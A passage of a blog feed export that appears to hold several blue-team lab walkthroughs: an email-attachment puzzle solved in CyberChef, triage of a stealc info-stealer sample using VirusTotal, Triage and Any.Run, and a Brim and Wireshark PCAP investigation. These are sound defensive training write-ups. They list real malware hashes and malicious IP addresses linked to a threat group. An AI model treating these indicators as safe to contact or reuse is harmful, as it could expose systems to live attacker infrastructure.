attachment as Base64-encoded data\n\u0026ndash;BOUND_600FB98E0DCEE8.49207210 Content-Type: application/pdf; name=\u0026ldquo;PuzzleToCoCanDa.pdf\u0026rdquo; Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename=\u0026ldquo;PuzzleToCoCanDa.pdf\u0026rdquo;\n[Base64 Encoded Data]\n\u0026ndash;BOUND_600FB98E0DCEE8.49207210\u0026ndash;\nTo analyze it, copy that Base64-encoded block, then click the + symbol in the top right of CyberChef to add a new input tab. Paste the Base64 data into this new tab.\nNow we’re going to build a quick recipe. Since we know the attachment is Base64-encoded, start by adding the “From Base64” operation. Next, add the “Extract Files” operation to leverage CyberChef’s parsing capabilities to identify the embedded files.\nOnce we’ve baked our recipe, we can see that the purported .pdf file isn’t a PDF at all, it’s actually a .zip archive!\nQuestion 4: What is the name of the malicious actor? Now that we’ve identified and extracted the .zip files, let\u0026rsquo;s go ahead and save them using the Save button in CyberChef next to each extracted file. For our investigation, we\u0026rsquo;ll focus on the largest file: extracted_at_0x0.zip.\nOnce it’s saved, extract the contents. Inside, you’ll find:\nImage file (DaughtersCrown) Document (GoodJobMajor) Spreadsheet (Money.xlsx) Our mission in Question 4 is to discover the name of the threat actor. Let’s start by analyzing the GoodJobMajor document in CyberChef. Click Open file as input, then select the document.\nCyberChef: Opening the document as input\nWe’ll start with a blank slate, so remove all previous operations from the recipe. This time, we’ll only add the “Strings” operation, which extracts readable text from the file which is pretty useful for uncovering embedded metadata.\nCyberChef: Using the Strings operation to identify the author’s name\nBy focusing on strings within the metadata, we can identify the author’s name under the /Author stream. In this case, the author field reveals the name of the malicious actor. Let’s submit our answer and move on to the next question!\nQuestion 5: What is the location of the attacker in this Universe? To answer Question 5, we’ll need to find some clues about the attacker’s physical location within the fictional universe of this challenge.\nAfter analyzing the strings extracted from GoodJobMajor in CyberChef, we didn’t find anything else useful. So, let’s pivot to a second file from the extracted .zip archive: Money.xlsx.\nTo save you some time, simply using the “Strings” operation in CyberChef won’t help us here. Instead, we’ll bring in another tool: zipdump.py by Didier Stevens. (There are other ways to approach this, so feel free to get creative!)\nYou might be wondering why we’re using a ZIP analysis tool on an .xlsx file. Great question! File types like .docx, .pptx, and .xlsx are part of the Open Office XML (OOXML) standard, which means they’re actually ZIP archives under the hood.\nAccording to Open Office:\nA SpreadsheetML or .xlsx file is a zip file (a package) containing a number of “parts” (typically UTF-8 or UTF-16 encoded) or XML files. The package may also contain other media files such as images. The structure is organized according to the Open Packaging Conventions as outlined in Part 2 of the OOXML standard ECMA-376.\nPretty cool, huh? So, by leveraging zipdump.py, we can dump the contents of the .xlsx file and bring them into CyberChef for further analysis.\nLet’s start by checking the available options for zipdump.py using the -h switch.\nZipdump.py Options\nThen, we’ll try something simple: use the -A option to dump the ASCII contents of all parts of the Money.xlsx archive, specifying your own output directory:\nzipdump.py -A Money.xlsx -o After running the command, zipdump.py dumps the ASCII contents to a text file. Open this file as input with CyberChef and keep the “Strings” operation in the recipe.\nAs you scroll through the output, you’ll spot what appears to be a plain text message from the attacker. Unfortunately, there’s no clear text indicator of their location.\nCyberChef: Identifying Base64-encoded string in the zipdump.py output\nBut take a closer look at the string immediately following the message. Could it be a Base64-encoded location? Let’s find out.\nOpen a new CyberChef tab and paste the suspicious string. First, remove any padding or extraneous characters so you’re left with just the encoded data. I did this manually by highlighting the extra bits and pressing delete.\nCyberChef: Removing extraneous characters\nNext, add the “From Base64” operation to the recipe to decode — and voilà — we’ve stumbled onto the attacker’s location! Awesome job!\nCyberChef: Identifying the attacker’s secret lair\nQuestion 6: What could be the probable C\u0026amp;C domain to control the attacker’s autonomous bots? By analyzing the attachments, we’ve gained some insight into the attacker’s identity and motives, but we haven’t yet uncovered any indicators of the command and control (C\u0026amp;C) infrastructure — or have we?\nLet’s jump all the way back to the email artifact and revisit the header details we uncovered in Question 1 and Question 2.\nOne important detail is the Reply-To address. As we discussed earlier, this is likely the attacker’s true email address, and the domain could be part of their operational infrastructure. In phishing or malware campaigns, attackers sometimes use the same domain for multiple purposes like hosting phishing pages, malware, or even command and control.\nSince this is the only domain we’ve observed that’s directly tied to the attacker, it’s reasonable to assume that it might also serve as a C\u0026amp;C domain, or at least be part of the infrastructure used to manage the “autonomous bots.”\nCyberChef: Identifying the Reply-To address / probable C\u0026amp;C domain\nIn the real world, this would be a solid starting point for collecting threat intelligence and enriching the data with a platform like VirusTotal. For the purposes of this challenge, however, the trail goes cold, so the Reply-To field is our best lead.\nConclusion: Give yourself a pat on the back — we’ve earned the gratitude of planet CoCanDa! From a single email sent by the attacker, we’ve leveraged the power of CyberChef to unravel the attacker’s name, location, and supporting infrastructure. Nice job!\nNow that we’ve found the location of the President’s daughter, let’s close out this walkthrough of The Planet’s Prestige.\nA big thank you to Blue Team Labs Online for another engaging challenge — I really enjoyed the kitschy theme of this one! I chose it for the sci-fi flavor but stayed for the mystery. I was determined to push myself to use CyberChef in ways I hadn’t tried before and see how much of the investigation I could complete using just that one tool. I was genuinely surprised by some of the functionality I hadn’t discovered before. It just goes to show that you can always find new ways to use old tools.\nWhile I eventually had to pivot to a second tool, I wasn’t disappointed. Getting more practice with zipdump.py was a bonus. It’s such a handy utility that I hadn’t used it in a while. This challenge was the perfect excuse to dust it off.\nThanks for your support and partnering on this investigation — I hope you had a blast!. If you found this walkthrough helpful, don’t forget to give it a clap! Your feedback really is invaluable, and it pumps me up to support your security journey. Remember, Cybersecurity is a team sport and we’re in this together!\nUntil next week’s challenge — stay curious and be safe out there!\nTools \u0026amp; References: Challenge Link: https://blueteamlabs.online/home/challenge/the-planets-prestige-e5beb8e545\nREMnux: https://remnux.org/\nCyberChef: https://gchq.github.io/CyberChef/\nMailtrap.io — Email Header Explanations: https://mailtrap.io/blog/email-headers/\nDidier Stevens — Zipdump.py: https://blog.didierstevens.com/2020/07/27/update-zipdump-py-version-0-0-20/\nDidierStevensSuite — GitHub: https://github.com/DidierStevens/DidierStevensSuite\nOpen Office XML — SpreadsheetML: http://officeopenxml.com/anatomyofOOXML-xlsx.php\n","date":"2025-06-22T00:00:00Z","image":"/posts/blue-team-labs-online-the-planet-s-prestige-walkthrough/eac5cb7c20bcaaca4be4e983a73b590f_MD5.png","permalink":"/posts/blue-team-labs-online-the-planet-s-prestige-walkthrough/","title":"Blue Team Labs Online  —  The Planet’s Prestige Walkthrough"},{"content":"CyberDefenders — Oski Lab Walkthrough A Cyber Threat Intelligence Challenge Using VirusTotal, Tria.ge, Any.Run, \u0026amp; MITRE ATT\u0026amp;CK. Image Credit: https://cyberdefenders.org/blueteam-ctf-challenges/oski/\nIntroduction: Welcome to my weekly walkthrough! If you\u0026rsquo;ve stumbled across this blog searching for a comprehensive guide to the Oski Lab from CyberDefenders, you\u0026rsquo;re in the right place. This challenge is a fantastic introduction to cyber threat intelligence (CTI) and leveraging online analysis platforms to perform research and gather indicators of compromise — let\u0026rsquo;s check out the scenario below.\nChallenge Scenario: The accountant at the company received an email titled \u0026quot; # \u0026quot;\nUrgent New Order\u0026quot; from a client late in the afternoon. When he attempted to access the attached invoice, he discovered it contained false order information. Subsequently, the SIEM solution generated an alert regarding downloading a potentially malicious file. Upon initial investigation, it was found that the PPT file might be responsible for this download. Could you please conduct a detailed examination of this file?\nIn this challenge, the victim received a suspicious PowerPoint file and executed it. Assuming the role of a Security Analyst, our SIEM solution fired an alert about a potentially malicious file on the victim\u0026rsquo;s workstation — not good! It\u0026rsquo;s up to us to analyze the file hash using online cyber threat intelligence (CTI) and malware analysis services to determine if the file is a known-malicious artifact and learn more about the nature of the attack.\nWhat\u0026rsquo;s in our toolkit for this investigation? We\u0026rsquo;ll start with the popular VirusTotal as a jumping-off point. From there, we\u0026rsquo;ll explore additional sources of information by pivoting to Recorded Future\u0026rsquo;s Triage and the dynamic analysis platform Any.Run. During our investigation, we\u0026rsquo;ll enrich our findings by mapping the observed tactics, techniques, and procedures to the MITRE ATT\u0026amp;CK matrix.\nSounds like fun, right? Let\u0026rsquo;s get into it!\nAnd if you find this walkthrough helpful — whether it levels-up your skills, gets you over a stumbling block, or serves as a handy reference — please give it a clap and consider following me for more content like this.\nThanks for reading and going on this investigation with me!\nSetup the Analysis Environment \u0026amp; Extract the Challenge File: Safety first! When working with lab/challenge files from CyberDefenders (or any educational lab/challenge/range), it\u0026rsquo;s important to be responsible and stay safe by interacting with potentially malicious files in a dedicated, isolated virtual machine environment. For this challenge I\u0026rsquo;m using REMnux, a specialized Linux distribution for malware analysis.\nTo keep this write-up focused, I\u0026rsquo;m going to skip step-by-step setup directions of REMnux, but if you\u0026rsquo;d like to set up your own environment, please follow the guide provided by REMnux directly. For reference, I used the virtual appliance method:\nGet the Virtual Appliance | REMnux Documentation _The easiest way to get the REMnux distro is to download the REMnux virtual appliance in the OVA format, import it into\u0026hellip;_docs.remnux.org\nOnce we have a safe virtual environment created, updated, isolated, and snapshotted, we can extract the challenge file and start the investigation!\nQuestion 1: Determining the creation time of the malware can provide insights into its origin. What was the time of malware creation? Let\u0026rsquo;s dive right in! Start by extracting the downloaded challenge file archive. Inside, you\u0026rsquo;ll find the directory temp_extract_dir containing hash.txt.\nThis file contains our target — the unique file hash of the potentially malicious \u0026quot; # \u0026quot;\nPowerPoint\u0026quot; file that triggered the SIEM alert. Using this file hash, we can start gathering intelligence about the file from online threat analysis platforms.\n12c1842c3ccafe7408c23ebf292ee3d9\nFor our first steps, let\u0026rsquo;s pivot out to the popular online malware analysis platform VirusTotal. Head to the VirusTotal website and paste the malware file hash into the search box. This gives us a high-level overview of the corresponding file. We can see that the sample has already been submitted to the platform and is detected as malicious by a majority of the antivirus vendors that have scanned it. Good start!\nVirusTotal: Detections Tab\nTo answer Question 1, we need to uncover the creation time of the malware. In VirusTotal, navigate to the Details tab and locate the Creation Time value under the History section. This value reflects the time the sample was compiled and can be helpful when building a timeline of how a malware attack unfolds. It\u0026rsquo;s worth noting that this timestamp can be spoofed, so don\u0026rsquo;t rely on it for complete accuracy.\nVirusTotal: Identifying the sample\u0026rsquo;s creation time within the Details tab\nQuestion 2: Identifying the command and control (C2) server that the malware communicates with can help trace back to the attacker. Which C2 server does the malware in the PPT file communicate with? Moving right along, we now need to determine any URLs that the malware communicates with. This could indicate a command and control (C2) channel that the malware connects to.\nTo locate this information, click the Relations tab in VirusTotal and focus on the Contacted URLs section. Each entry here represents a URL the malware has attempted to reach. We can click on each one to pivot to its own VirusTotal entry and dig deeper.\nVirusTotal: Identifying Contacted URLs\nFor example, by clicking the URL ending in .php, we can enrich the data by reviewing the Crowdsourced Context section. This often includes community-contributed insights, and in this case, it tells us that this is the C2 URL.\nVirusTotal: Identifying a C2 IoC\nQuestion 3: Identifying the initial actions of the malware post-infection can provide insights into its primary objectives. What is the first library that the malware requests post-infection? Our next task is to identify the library requested from the C2 server. Based on the Contacted URLs we identified in Question 2, we already have some idea of what it might be. But to be thorough, and to explore the data from a different angle, let\u0026rsquo;s stick with VirusTotal and check the Behavior tab, which documents the detailed results of the dynamic analysis performed by VirusTotal.\nVirusTotal: Identifying the requested library\nScroll down to Network Communication \u0026gt; HTTP Requests. Here, we\u0026rsquo;ll see an HTTP GET request for a DLL file: sqlite3.dll, hosted on the C2 URL. Since a DLL file is a library file, and the status code is 200 (successful), this evidence strongly suggests that we\u0026rsquo;ve found the answer to Question 3.\nQuestion 4: Upon examining the malware, it appears to utilize the RC4 key for decrypting a base64 string. What specific RC4 key does this malware use? To answer Question 4, let\u0026rsquo;s pivot from VirusTotal and search the file hash against another threat intelligence platform — Recorded Future Tria.ge.\nLeveraging another platform is a solid strategy to get a fresh perspective on the analysis. Sometimes this reveals new information that isn\u0026rsquo;t available elsewhere.\nIn this case, we\u0026rsquo;re looking to identify the RC4 key used to decrypt a specific base64-encoded string within the malware payload. Searching the Tria.ge reports, we can find this easily. First, navigate to the Reports section and input the malware sample file hash into the search field:\nRecorded Future Triage: Searching for the malware file hash\nThen, select the first report to view the results of the analysis. Inside the report, check out the Malware Config section, which provides a high-level overview of strings extracted from the malware.\nstealc | a040a0af8697e30506218103074c7d6ea77a84ba3ac1ee5efae20f15530a19bb | Triage _Check this stealc report malware sample a040a0af8697e30506218103074c7d6ea77a84ba3ac1ee5efae20f15530a19bb, with a score\u0026hellip;_tria.ge\nRecorded Future Triage: Identifying the RC4 key from the report\nUsing this method, we can find the RC4 key and complete Question 4.\nQuestion 5: Identifying an adversary\u0026rsquo;s techniques can aid in understanding their methods and devising countermeasures. Which MITRE ATT\u0026amp;CK technique are they employing to steal a user\u0026rsquo;s password? Moving right along, we now need to identify the specific technique this malware uses to steal a victim\u0026rsquo;s password, as it relates to the MITRE ATT\u0026amp;CK knowledge base.\nFor this task, let\u0026rsquo;s explore a third service — Any.Run. This is an interactive sandbox and malware analysis tool with robust reporting capabilities. But first, if we submit the malware hash to Any.Run, you might notice that there are dozens of reports to sift through, each with varying levels of detail.\nLet\u0026rsquo;s work a little smarter and try to cross-reference a report from the VirusTotal Community tab comments. This way, we can pivot from one platform to another as we collect intelligence about the malware. Jump back to VirusTotal and check out the comment posted by ANY_RUN:\nVirusTotal: Comment linking to the Any.Run report: https://app.any.run/tasks/d55e2294-5377-4a45-b393-f5a8b20f7d44\nNow that we\u0026rsquo;ve found a matching report from VirusTotal, we can access the corresponding report directly on Any.Run — awesome! From here, we just need to view the MITRE ATT\u0026amp;CK mappings for the sample by pressing the handy ATT\u0026amp;CK button.\nAny.Run: Locating the ATT\u0026amp;CK button\nTo answer Question 5, recall that we\u0026rsquo;re looking for a password-stealing function, which falls under the Credential Access tactic. While there are a few possibilities, we can determine through process of elimination that the technique in question is Credentials from Password Stores (T1555).\nAny.Run: Identifying the MITRE ATT\u0026amp;CK technique\nQuestion 6: Malware may delete files left behind by the actions of its intrusion activity. Which directory does the malware target for deletion? Let\u0026rsquo;s stick with the MITRE ATT\u0026amp;CK matrix from Any.Run. This time, we\u0026rsquo;re looking for the directory deleted by the malware.\nFirst things first: we can leverage our knowledge of the attacker\u0026rsquo;s techniques to identify the specific Defense Evasion sub-technique— Indicator Removal: File Deletion (T1070.004).\nAny.Run: Identifying the MITRE ATT\u0026amp;CK defense evasion technique\nClicking the technique brings us to the details window, which displays evidence of the technique as performed by the malware.\nAnalyzing the cmdline field reveals a command to delete (del) all .dll files, specifically targeting the C:\\ProgramData directory. This is a good indicator that the malware is cleaning up after itself.\nQuestion 7: Understanding the malware\u0026rsquo;s behavior post-data exfiltration can give insights into its evasion techniques. After successfully exfiltrating the user\u0026rsquo;s data, how many seconds does it take for the malware to self-delete? For our final task in this lab, let\u0026rsquo;s take a closer look at the file deletion technique. We already identified some cleanup activity in Question 6, so now let\u0026rsquo;s examine the full command to identify the timeout period.\nIn this case, we\u0026rsquo;re looking for a delay which indicates how long the malware waits before deleting itself. We can see this clearly in several locations within the Any.Run report, including the Technique Details section or right on the Overview page.\nAny.Run: Identifying the timeout value from the technique details\nAny.Run: Identifying the timeout value from the report overview\nThe command includes a timeout value of 5 seconds, showing us that the malware pauses briefly before its self-deletion routine.\nNow that we\u0026rsquo;ve determined the number of seconds, let\u0026rsquo;s submit the answer and wrap up this investigation!\nConclusion: There we have it! Starting with the file hash of a suspicious file, we successfully used our threat intelligence skills to determine that the PowerPoint file is indeed malicious — time to start our remediation! By pivoting to online threat intelligence and malware analysis services, we\u0026rsquo;ve uncovered much more about the nature of this file, including how it operates and what the impact of executing it could be.\nNow that we\u0026rsquo;ve completed our objectives, let\u0026rsquo;s close out this walkthrough of the Oski Lab!\nA big thank you to CyberDefenders for another engaging lab. I always keep threat intelligence challenges in the rotation because regular practice and learning what tactical information is available is such a valuable real-world skill. Having hands-on time with a variety of services is a great way to start building better defenses and equipping yourself with a stronger working knowledge of threats you might encounter.\nI found it incredibly engaging that there was no single source that could provide all the answers for this lab — it required pivoting to several services to paint the full picture. Awesome stuff!\nThanks for your support and partnering on this investigation. If you found this walkthrough helpful, don\u0026rsquo;t forget to give it a clap! Your feedback really is invaluable, and it pumps me up to support your security journey. Remember, Cybersecurity is a team sport and we\u0026rsquo;re in this together!\nUntil next week\u0026rsquo;s challenge — stay curious and be safe out there!\nTools \u0026amp; References: Challenge Link: https://cyberdefenders.org/blueteam-ctf-challenges/oski/\nREMnux: https://remnux.org/\nVirusTotal: https://www.virustotal.com/\nAny.Run: https://app.any.run/tasks/d55e2294-5377-4a45-b393-f5a8b20f7d44\nRecorded Future Tria.ge: https://tria.ge/250509-vyp1vshq21\nMITRE ATT\u0026amp;CK — Credentials from Password Stores (T1555): https://attack.mitre.org/techniques/T1555/\nMITRE ATT\u0026amp;CK — Indicator Removal: File Deletion (T1070.004): https://attack.mitre.org/techniques/T1070/004/\n","date":"2025-06-15T00:00:00Z","image":"/posts/cyberdefenders-oski-lab-walkthrough/992bd271af0613a2151c40f97678c9de_MD5.png","permalink":"/posts/cyberdefenders-oski-lab-walkthrough/","title":"CyberDefenders  —  Oski Lab Walkthrough"},{"content":"TryHackMe — Warzone 1 Room Walkthrough A Network Packet Capture Investigation Using Brim/Zui, Wireshark, and VirusTotal. Image Credit: https://tryhackme.com/room/warzoneone\nIntroduction: Welcome to my weekly walkthrough! If you’ve stumbled across this blog searching for a comprehensive guide to the Warzone 1 room from TryHackMe, you’re in the right place. This challenge is a fantastic introduction to forensic network packet analysis — let’s check out the scenario below.\nChallenge Scenario: You work as a Tier 1 Security Analyst L1 for a Managed Security Service Provider (MSSP). Today you’re tasked with monitoring network alerts.\nA few minutes into your shift, you get your first network case: Potentially Bad Traffic and Malware Command and Control Activity detected. Your race against the clock starts. Inspect the PCAP and retrieve the artifacts to confirm this alert is a true positive.\nIn this challenge, we’re stepping into the shoes of a Security Analyst at an MSSP, monitoring network traffic alerts for one of our customers when suddenly, an alert fires from their IDS/IPS — Uh-Oh! We collect a network packet capture file, or PCAP, and need to quickly determine if this is a true positive alert by analyzing the artifacts within the traffic.\nOkay, deep breaths — what’s in our toolkit for this investigation? We’ll be busting out a couple of essential network packet analysis tools including Brim (now called ZUI) to process, search, and analyze the PCAP, and then pivoting to Wireshark for deep packet inspection. We’ll also enrich our findings by consulting VirusTotal to add context to any indicators of compromise (IOCs) we discover.\nSounds like fun, right? Let’s get into it!\nIn the spirit of learning, this walkthrough will be spoiler-free. But if you find it helpful — whether it levels-up your skills, gets you over a stumbling block, or serves as a handy reference — please give it a clap and consider following me for more content like this.\nThanks for reading and going on this investigation with me!\nQuestion 1: What was the alert signature for Malware Command and Control Activity Detected? Once in our analysis environment, let’s get acquainted with our toolset so we can start forming a plan. You’ll find everything we need in the Tools folder on the Desktop.\nContents of the Tools folder\nTo answer Question 1, we’re searching for an alert signature. So, our first stop will be to use Brim (now called Zui) because it has the ability to use Suricata intrusion detection rules to help quickly identify threats or malicious traffic within the packet capture.\nGo ahead and launch it — and speaking of packet captures, once Brim is open, load the challenge file Zone1.pcap , and wait for it to process the capture file.\nOnce the file is loaded, let’s get an overview of the Suricata rule hits detected in the network traffic. Select the Zone1.pcap file, click Suricata Alerts by Category under the Queries header, and review the displayed alert categories.\nBrim: Overview of Suricata Alerts by Category\nWe’re going to focus on Malware Command and Control Activity Detected since that’s what the question is asking about. Our next step is to find the alert signature for this category.\nTo do this, right-click the Malware Command and Control Activity Detected row and select New search with this value.\nBrim: Selecting New search with the Malware Command and Control value.\nThis selection adjusts the query to display packets matching the Suricata rule — and more importantly, it reveals the details we need to answer Question 1 under the alert.signature column.\nBrim: Identifying the alert signature.\nQuestion 2: What is the source IP address? Enter your answer in a defanged format. To answer Question 2, we need to determine the source IP address of the malware traffic. Fortunately, we can continue working in the same view we used in Question 1, this time focusing on the src_ip column, which contains — you guessed it, the source IP address.\nBrim: Identifying the source IP address of the malicious traffic\nBut before we can submit the answer, we need to defang the IP address. This is a common practice to ensure that malicious IPs and URLs aren’t accidentally clicked. While this is easy to do manually, let’s work a little smarter and use CyberChef for the task.\nThe offline version of CyberChef is included in the Tools folder, but the online version works just as well. To defang the source IP address:\nOpen CyberChef. Select the Defang IP Addresses operation. Paste the source IP address into the Input field. And voilà — we have the defanged IP address.\nCyberChef: Defanging an IP address\nQuestion 3: What IP address was the destination IP in the alert? Enter your answer in a defanged format. To answer Question 3, we need to identify and defang the destination IP address of the malicious traffic. This process is exactly the same as in Question 2, except this time we’ll focus on the dest_ip column.\nOnce you’ve located the destination IP, open CyberChef, select the Defang IP Addresses operation, and paste the IP into the Input field to generate the defanged version.\nBrim: Identifying the destination IP address of the malicious traffic\nQuestion 4: Still in VirusTotal, under Community, what threat group is attributed to this IP address? The phrasing for Question 4 is a bit misleading. To uncover what threat group is attributed to the destination IP address we found in Question 3, we need to pivot out to VirusTotal, an online threat analysis and sharing platform, to look up more information from the community.\nBrim: Performing a VirusTotal lookup\nIn a real-world scenario, some versions of Brim support right-click context menu integrations that allow you to pivot directly to VirusTotal for IP lookups. Since the THM analysis environment doesn’t have open web access, we can’t get to VirusTotal this way. Instead, we’ll copy the destination IP and navigate to VirusTotal in another web browser. Then, paste the IP into the search field.\nOnce we’ve input the IP address, we’ll see that several providers flag it as malicious. Let’s turn to the Community tab to see if we can learn anything about the threat group attributed to this IP.\nVirusTotal: Searching the malicious destination IP address\nWe’ll find that several community graphs include this IP address, and some mention a specific threat actor. Look for the tag with the TA prefix—this is the group we’re looking for. If you want more information about this threat group, check out the corresponding entry on MITRE ATT\u0026amp;CK: https://attack.mitre.org/groups/G0092/\nQuestion 5: What is the malware family? To answer Question 5, we now need to identify the name of the malware leveraged by the threat group. You may have already noticed the malware name in the alert.signature field from the Suricata alert in Brim, but we can cross-reference this by reviewing and confirming the VirusTotal community graph tags—nice!\nVirusTotal: Identifying the malware family\nQuestion 6: Do a search in VirusTotal for the domain from question 4. What was the majority file type listed under Communicating Files? Question 6 is a bit confusing, since it seems like there is a missing step in the challenge. So far, we haven’t located a domain — only an IP address. That’s okay, though, we’ll adapt and try another approach.\nWithin our VirusTotal search page for the malicious IP address, navigate to the Relations tab and look at the Communicating Files section.\nThe question is tricky because the majority file type is Win32 EXE, but the expected answer format seems to match another communicating file type — this is the one we’re looking for. Not the most precise way of answering this, but it got the job done!\nVirusTotal: Identifying communicating file types\nQuestion 7: Inspect the web traffic for the flagged IP address; what is the user-agent in the traffic? Okay, let’s return to Brim. Our next task is to search for the malicious destination IP we’ve been examining. To do this, enter the IP address into the search box and press ENTER.\nThere’s a lot of information to sift through, but let’s focus on the first three events — they contain all the data we’ll need.\nBrim: Identifying a suspicious user agent in the traffic\nNotice the second alert type for Suspicious User-Agent (REBOL)? Take a closer look at the following http event (the third entry)—we’ll find that this packet contains the suspicious user_agent string.\nFor reference, user agent strings are used to identify the client connecting to a web server and can help determine more information about the source of the traffic.\nQuestion 8: Retrace the attack; there were multiple IP addresses associated with this attack. What were two other IP addresses? Enter the IP addressed defanged and in numerical order. (format: IPADDR,IPADDR) For our next task, we’ll need to identify additional IP addresses associated with the attack, defang them, and submit them in numerical order. No problem!\nThe first step is to leverage Brim’s built-in HTTP Requests query from the Queries pane on the left-hand side of the window. This will filter individual http requests. From there, we’ll focus on the id.resp_h column, which represents the IP address of the external server that responded to each request. While the majority of the traffic is directed to the IP address we previously identified, a closer look toward the bottom of the list reveals a few new entries for us to analyze.\nBrim: Identifying the additional IOCs\nSearching each of these IPs on VirusTotal, and checking the Community tab again, we’ll discover that some of them are linked to the same malware family we identified back in Question 5. Give it a try! If you get stuck, I’ve included some spoiler links below.\nVirusTotal VirusTotalwww.virustotal.com\nVirusTotal VirusTotalwww.virustotal.com\nOnce we’ve confirmed the related IPs, we can jump over to CyberChef to defang them. Just remember when submitting your answer, the IPs must be in numerical order, with the lowest value first.\nQuestion 9: What were the file names of the downloaded files? Enter the answer in the order to the IP addresses from the previous question. (format: file.xyz,file.xyz) Keeping with our currently filtered HTTP Requests view in Brim, we can already identify the URI associated with the downloaded MSI file from the second IP address — jot this down, since it’ll be the second one listed in the answer format.\nBrim: Identifying the file downloaded from the second IP address\nTo identify the “first” file, let’s pivot to another built-in Brim query: the File Activity query. This gives us a broader view of file-related events and helps us spot another MSI file downloaded from the first IP address we found in Question 8.\nBrim: Identifying the downloaded file from the first IP address\nNow that we’ve located both files, we can combine them to form our answer — just make sure to list them in the same order as the IPs from the previous question.\nQuestion 10: Inspect the traffic for the first downloaded file from the previous question. Two files will be saved to the same directory. What is the full file path of the directory and the name of the two files? (format: C:\\path\\file.xyz,C:\\path\\file.xyz) Now that we’ve identified two suspicious downloaded files, we need to determine where the artifacts were saved on disk. The question tells us there are two additional files saved in the same directory — but how do we discover this?\nFor this task, stick with our current Brim filter, then click the Packets button just above the search box to open the associated pcap in Wireshark. This will load the packets related to the file download from the first IP address — the one listed first in the answer to Question 9. Our goal is to review the TCP stream and look for clues about the download path and any other files written to the same location.\nBrim: Pivoting from Brim to Wireshark\nOnce Wireshark is open, right-click the first packet in the list and select Follow \u0026gt; TCP Stream.\nWireshark: Opening the TCP Stream\nWhile there’s a lot of data to sift through, we can work a little smarter by using the find box to search for the common Windows drive letter C:\\. This quickly reveals a file path.\nLooking just next to that path, we’ll also spot a second .exe file. Since the question specifies that both files are saved in the same directory as the downloaded file, we can reasonably conclude these are the two files we’re after.\nWireshark: Identifying\nQuestion 11: Now do the same and inspect the traffic from the second downloaded file. Two files will be saved to the same directory. What is the full file path of the directory and the name of the two files? (format: C:\\path\\file.xyz,C:\\path\\file.xyz) For our last task, we’ll repeat the same process, this time inspecting the TCP stream for the MSI file downloaded from the second IP address we identified in Question 9.\nStart by using Brim to search for the second file name. Once you have the result, click the Packets button to open the capture in Wireshark.\nBrim: Searching the 2nd MSI file name\nAs before, right-click the first packet in the list and select Follow \u0026gt; TCP Stream to view the assembled data.\nWireshark: Opening the TCP Stream\nWith the stream open, use the find box to search for the C:\\ drive letter again. This will help us quickly identify the full file path and the names of the two additional files stored in the same directory.\nNow that we’ve identified the directories associated with both suspicious downloads, let’s submit our answers and wrap up this challenge!\nConclusion: Done and done! By analyzing the PCAP file containing the suspicious network traffic using Brim and Wireshark, and enriching our findings with VirusTotal, we successfully identified several malicious IP addresses associated with a threat actor. Then we determined what files were downloaded from the malicious infrastructure and where they were saved on disk. Putting all of the evidence together, we can confirm the alert as a true positive and move on to the containment phase.\nNow that we’ve uncovered the nature of the alert and completed our objectives, let’s close out this walkthrough of Warzone 1!\nA big thank you to TryHackMe for another thrilling and realistic challenge. I chose this weekly challenge to spend more hands-on time with Brim/ZUI and the awesome Suricata rules built in. While Brim/ZUI doesn’t quite have the ubiquity of Wireshark, it’s an extremely impressive tool that’s beneficial to learn and get some practice with. In the real world, I’ve used this tool numerous times to visualize data in a PCAP and uncover information that was time-consuming and difficult to find using other tools — it’s worth keeping in the kit. Awesome stuff!\nThanks for your support and partnering on this investigation. If you found this walkthrough helpful, don’t forget to give it a clap! Your feedback really is invaluable, and it pumps me up to support your security journey. Remember, Cybersecurity is a team sport and we’re in this together!\nIf you liked this challenge and want to take on the second challenge, Warzone 2, I’ve got you covered with another walkthrough if you want to continue our investigation together.\nTryHackMe | Warzone 2 | Room Walkthrough\nUntil next week’s challenge — stay curious and be safe out there!\nTools \u0026amp; References: Challenge Link: https://tryhackme.com/room/warzoneone\nWireshark: https://www.wireshark.org/\nBrim/ZUI: https://zui.brimdata.io/\nBrim Data — “We’re renaming Brim to Zui”: https://www.brimdata.io/blog/brim-app-will-be-zui/\nZUI Docs — “Packet Captures”: https://zui.brimdata.io/docs/features/Packet-Captures#local-suricata-rules-folder\nCyberChef: https://gchq.github.io/CyberChef/\nVirusTotal: https://www.virustotal.com/\nVirusTotal — Malicious Destination IP: https://www.virustotal.com/gui/ip-address/169.239.128.11\nMITRE ATT\u0026amp;CK — TA505 (GA0092): https://attack.mitre.org/groups/G0092/\nVirusTotal — Additional Malicious IP 1/2: https://www.virustotal.com/gui/ip-address/185.10.68.235/community\nVirusTotal — Additional Malicious IP 2/2: https://www.virustotal.com/gui/ip-address/192.36.27.92/community\n","date":"2025-06-01T00:00:00Z","image":"/posts/tryhackme-warzone-1-room-walkthrough/Warzone.png","permalink":"/posts/tryhackme-warzone-1-room-walkthrough/","title":"TryHackMe  —  Warzone 1 Room Walkthrough"},{"content":"HackTheBox— BFT Sherlock Walkthrough Investigating a Compromised Endpoint Using MFTECmd and Timeline Explorer. Image Credit: https://app.hackthebox.com/sherlocks/BFT\nIntroduction: Welcome to my weekly walkthrough! If you’ve stumbled across this blog searching for a comprehensive guide to the BFT Sherlock challenge from Hack The Box, you’re in the right place. This challenge is a fantastic introduction to analyzing MFT artifacts on a Windows system — let’s check out the scenario below.\nChallenge Scenario: In this Sherlock, you will become acquainted with MFT (Master File Table) forensics. You will be introduced to well-known tools and methodologies for analyzing MFT artifacts to identify malicious activity. During our analysis, you will utilize the MFTECmd tool to parse the provided MFT file, TimeLine Explorer to open and analyze the results from the parsed MFT, and a Hex editor to recover file contents from the MFT.\nIn this challenge, a victim’s device has been compromised with malware, and we need to investigate what happened. The twist? We’re only given access to the Master File Table from the device. Fortunately, this is a robust forensic artifact that contains an entry for every file on the system — including size, timestamps, permissions, and more!\nWhat’s in our toolkit for this investigation? Like the challenge stated, we’re going to leverage a couple of tools from Eric Zimmerman’s forensic suite to parse and explore the $MFT, including MFTECmd to parse it and Timeline Explorer to analyze the results.\nSounds like fun, right? Let’s get into it!\nAnd if you find this walkthrough helpful — whether it levels-up your skills, gets you over a stumbling block, or serves as a handy reference — please give it a clap and consider following me for more content like this.\nThanks for reading and going on this investigation with me!\nSetup the Analysis Environment \u0026amp; Extract the Challenge File: Safety first! It’s always important when working with lab/challenge files from Hack the Box (or any educational lab/challenge/range) to keep yourself protected by performing these tasks in a dedicated, isolated virtual machine environment. For example, since this is a _Windows-_based lab, I’m using FLARE-VM for this 